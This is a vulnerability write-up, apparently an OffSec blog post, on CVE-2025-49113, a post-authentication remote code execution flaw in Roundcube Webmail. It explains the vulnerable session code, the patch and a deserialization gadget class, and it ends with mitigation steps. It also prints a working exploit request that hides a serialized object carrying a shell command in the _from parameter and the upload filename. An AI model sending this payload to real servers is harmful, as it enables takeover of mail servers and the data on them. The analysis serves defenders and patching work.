Blog

/

CVE‑2025‑49113 – Post‑Auth Remote Code Execution in Roundcube via PHP Object Deserialization

Research & Tutorials

Jun 12, 2025

CVE‑2025‑49113 – Post‑Auth Remote Code Execution in Roundcube via PHP Object Deserialization

A critical RCE vulnerability (CVSS 9.9) in Roundcube Webmail (

OffSec Team OffSec Team

3 min read

Overview

A critical vulnerability has been discovered in Roundcube Webmail (versions < 1.5.10 and 1.6.0–1.6.10) that allows authenticated users to perform remote code execution through a PHP object deserialization flaw triggered by improper validation of the _from parameter in program/actions/settings/upload.php. The flaw carries a CVSS 3.1 score of 9.9 (Critical)

  • CVE ID: CVE-2025-49113
  • Severity: Critical
  • CVSS Score: 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
  • EPSS Score: 0.00661
  • EPSS Percentile: %70 (Likely to be exploited)
  • Published: June 1, 2025
  • Affected Versions: All versions prior to 1.5.10, 1.6.11
  • Patched Versions: 1.5.10, 1.6.11

Technical Breakdown

A patch was introduced in Roundcube with version 1.6.11 by the Roundcube team.

https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d

A sanitization on the parameter _from was added to prevent it containing invalid characters such as ., etc.

    // Validate URL input.
    if (!rcube_utils::is_simple_string($type)) {
        rcmail::write_log('errors', 'The URL parameter "_from" contains disallowed characters and the request is thus rejected.');
        $rcmail->output->command('display_message', 'Invalid input', 'error');
        $rcmail->output->send('iframe');
    }
 public static function is_simple_string($input)
    {
        return is_string($input) && !!preg_match('/^[\w.-]+$/i', $input);
    }

We can use the vulnerable version to find the sinkhole, Version 1.6.10, https://github.com/roundcube/roundcubemail/blob/1.6.10/

File program/actions/settings/upload.php contains the following code,

$from   = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
        $type   = preg_replace('/(add|edit)-/', '', $from);

        // Plugins in Settings may use this file for some uploads (#5694)
        // Make sure it does not contain a dot, which is a special character
        // when using rcube_session::append() below
        $type = str_replace('.', '-', $type);
if (!$err && !empty($attachment['status']) && empty($attachment['abort'])) {
                $id = $attachment['id'];

                // store new file in session
                unset($attachment['status'], $attachment['abort']);
                $rcmail->session->append($type . '.files', $id, $attachment);

User controlled parameter _from is assigned to $from variable. $from is then used to remove add- or edit- prefix from the string. $type is then used to append the file to the session

$rcmail->session->append($type . '.files', $id, $attachment);

append method of rcube_session calls reload() method on the session object if it is not reloaded in the last 0.5 seconds.

public function append($path, $key, $value)
    {
        // re-read session data from DB because it might be outdated
        if (!$this->reloaded && microtime(true) - $this->start > 0.5) {
            $this->reload();
            $this->reloaded = true;
            $this->start = microtime(true);
        }

reload method calls session_decode and eventually adds the appended data to session by doing $_SESSION = array_merge_recursive($_SESSION, $merge_data);

  public function reload()
    {
        // collect updated data from previous appends
        $merge_data = [];
        foreach ((array) $this->appends as $var) {
            $path = explode('.', $var);
            $value = $this->get_node($path, $_SESSION);
            $k = array_pop($path);
            $node = &$this->get_node($path, $merge_data);
            $node[$k] = $value;
        }

        if ($this->key) {
            $data = $this->read($this->key);
        }

        if (!empty($data)) {
            session_decode($data);

            // apply appends and unsets to reloaded data
            $_SESSION = array_merge_recursive($_SESSION, $merge_data);

There are custom overrides for serialize and unserialize functions in Roundcube which makes the exploitation even harder.

/**
     * Serialize session data
     */
    protected function serialize($vars)
    {
        $data = '';

        if (is_array($vars)) {
            foreach ($vars as $var => $value) {
                $data .= $var . '|' . serialize($value);
            }
        } else {
            $data = 'b:0;';
        }

        return $data;
    }

Serialized objects are splitted by | character in the session. Unserialize function wrongly handles the ! character resulting in a session corruption.

 /**
     * Unserialize session data
     * https://www.php.net/manual/en/function.session-decode.php#56106
     *
     * @param string $str Serialized data string
     *
     * @return array|false Unserialized data
     */
    public static function unserialize($str)
    {
        $str = (string) $str;
        $endptr = strlen($str);
        $p = 0;

        $serialized = '';
        $items = 0;
        $level = 0;

        while ($p < $endptr) {
            $q = $p;
            while ($str[$q] != '|') {
                if (++$q >= $endptr) {
                    break 2;
                }
            }

            if ($str[$p] == '!') {
                $p++;
                $has_value = false;
            } else {
                $has_value = true;
            }

Cyber Researcher Kirill Firsov, discovered this bug, has an explanation about how he found and exploited the bug in his blog

Exploitation Steps

Exploitation of this vulnerability is not easy. It requires a custom PHP object deserialization and laying the payload into two different parameters, _from and filename.

One can use Crypt_GPG_Engine class to craft an object deserialization gadget. A private member of the class _gpgconf is used in the proc_open function so it can be updated to execute a command that the attacker controls.

private function _closeIdleAgents()

        // Note: We check that this binary is executable again for security reasons
        if ($this->_gpgconf && is_executable($this->_gpgconf)) {
            // before 2.1.13 --homedir wasn't supported, use env variable
            $env = ['GNUPGHOME' => $this->_homedir];
            $cmd = $this->_gpgconf . ' --kill gpg-agent';

            if ($process = proc_open($cmd, [], $pipes, null, $env)) {
                proc_close($process);
            }
        }

	class Crypt_GPG_Engine{
		private $_gpgconf;
		
		function __construct($cmd){
			$this->_gpgconf = $cmd;
		}
	}

Exploit script can be found in the GitHub repository https://github.com/fearsoff-org/CVE-2025-49113

End result looks like below according to Kirill,

POST /?_from=edit-!";i:0;O:16:"Crypt_GPG_Engine":1:{S:26:"\00Crypt_GPG_Engine\00_gpgconf";S:18:"touch+/tmp/pwned;#";}i:0;b:0;}";}}&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload HTTP/1.1
Host: roundcube.local
X-Requested-With: XMLHttpRequest
Accept-Encoding: identity
Content-Length: 242

-----------------------------WebKitFormBoundary
Content-Disposition: form-data; name="_file[]"; filename="x|b:0;preferences_time|b:0;preferences|s:179:\"a:3:{i:0;s:57:\".png"
Content-Type: image/png

IMAGE
----------------------------- WebKitFormBoundary--

Impact

  • Remote Code Execution: Authenticated users can potentially execute system commands at the web server level.
  • Full System Compromise: Since attacker code runs under the web server, access may extend to databases, mailboxes, and filesystem.
  • High Exploitation Rates: With CVSS 9.9 and EPSS exceeding 70th percentile, this ranks among the most serious vulnerabilities of 2025.

Mitigation & Remediation

  1. Upgrade Immediately:
    • Check your Roundcube version: Versions 1.5.9 or older, and 1.6.0–1.6.10 are vulnerable.
    • Patch to 1.5.10 or 1.6.11 immediately.
  2. Audit Logs & File Uploads:
    • Monitor for anomalous uploads, especially patterns targeting the _from parameter.
  3. Segmentation & Least Privilege:
    • Run webmail under limited permissions and avoid exposing it directly to the internet.
  4. Patch Bundled Installations:
    • Vendor-delivered versions (cPanel, Plesk) may not update automatically—verify and apply patches manually.

References

Stay in the know: Become an OffSec Insider

Stay in the know: Become an OffSec Insider

Get the latest updates about resources, events & promotions from OffSec!

Latest from OffSec